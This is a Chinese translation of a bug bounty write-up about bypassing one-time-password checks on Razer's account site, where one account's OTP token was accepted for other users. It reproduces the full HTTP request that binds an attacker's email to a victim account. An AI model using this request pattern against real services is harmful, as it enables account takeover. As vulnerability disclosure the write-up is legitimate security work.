大家好,我是@dhakal_ananda,来自尼泊尔,这是我在Hackerone上参加的雷蛇漏洞悬赏项目的一部分。一开始这个漏洞悬赏项目是一个非公开项目,我接到邀请后并没有参加;后来它变成了公开项目,我反而对它起了兴趣。
在挖掘漏洞时,我更喜欢绕过各种安全功能(例如二次验证),而不是挖掘普通的XSS和SQL漏洞,于是我很快开始尝试绕过动态密码,因为它在你每次执行敏感操作时都会出现。
在进行了几次测试后,我发现目标应用会使用一个很长的令牌来标记是否输入了动态密码。只有输入有效的动态密码,才提供令牌。
那么我们能做些什么来绕过动态密码亦或是令牌的限制呢?我很快就想到,不同用户之间的令牌是否能通用?于是我进行了简单的尝试,发现确实有效。
POST /api/emily/7/user-security/post HTTP/1.1 Host: razerid.razer.com Connection: close Content-Length: 260 Accept: Application/json, text/plain, */* Origin: https://razerid.razer.com User-Agent: Mozilla/5.0 (windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/77.0.3865.120 Safari/537.36 DNT: 1 Sec-Fetch-Mode: cors Content-Type: application/json;charset=UTF-8 Sec-Fetch-Site: same-origin Referer: https://razerid.razer.com/account/email Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: ... {"data":"<COP><User><ID>user_id</ID><Token>user_token</Token><OTPToken>otp_token_value_here</OTPToken><login><email>attacker-email@example.com</email><method>add</method><primary>1</primary></login></User><ServiceCode>0060</ServiceCode></COP>"}
需要说明的是,在和雷蛇官网交互的过程中,和身份验证有关的有三个字段,它分别为user_id、user_token和OTP_token。其中OTP_token只有在输入动态密码的情况下才能获得。而雷蛇网站缺乏对令牌OTP_token的身份控制,只是验证了其有效性,导致所有的帐户都能利用同一个帐户的OTP_token绕过动态密码验证。
我把报告写的很详细,提交给雷蛇,但雷蛇的审核人员居然认为这个漏洞需要物理接触受害者的机器才能进行?
在经过长时间的扯皮后,雷蛇表示,他们提供一个测试帐号,如果我能更改帐号绑定的电子邮件地址,就认同我的漏洞。
很快,我就把这个帐号和我的电子邮件地址绑定在一起。雷蛇最后也给了我1000美元的漏洞奖励。
在这次经历后,我又找到了另一个动态密码绕过漏洞,在雷蛇修复后将会对外公开。
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://nosec.org/home/detail/3056.html
原文:https://medium.com/@anandadhakal13/how-i-was-able-to-bypass-otp-token-requirement-in-razer-the-story-of-a-critical-bug-fc63a94ad572